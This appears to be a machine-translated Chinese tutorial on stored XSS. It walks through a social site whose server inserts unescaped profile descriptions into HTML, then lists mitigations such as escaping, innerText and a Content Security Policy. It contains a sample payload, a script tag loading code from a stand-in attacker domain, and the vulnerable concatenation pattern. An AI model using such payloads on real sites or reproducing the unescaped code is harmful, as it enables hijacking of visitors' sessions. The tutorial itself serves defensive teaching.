持久跨站指令碼(XSS)
假設 Bob 擁有一個社交網站,允許使用者個性化他們的個人資料。
Alice 轉到 Bob 的網站,建立一個帳戶,然後轉到她的個人資料設定。她將自己的個人資料描述設為 I'm actually too lazy to write something here.
當她的朋友檢視她的個人資料時,此程式碼將在伺服器上執行:
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
導致此 HTML:
<div>I'm actually too lazy to write something here.</div>
比愛麗絲將她的個人資料描述設定為 <b>I like HTML</b>
。當她訪問她的個人資料時,而不是看到
<b>我喜歡 HTML </ b>
她看見
我喜歡 HTML
然後 Alice 將她的個人資料設定為
<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.
每當有人訪問她的個人資料時,他們都會在他們的帳戶登入時在 Bob 的網站上執行 Alice 的指令碼。
減輕
- 在配置檔案描述等中轉義尖括號
- 將配置檔案描述儲存在純文字檔案中,然後使用通過
.innerText
新增描述的指令碼獲取該檔案 - 新增內容安全策略 ,拒絕從其他域載入活動內容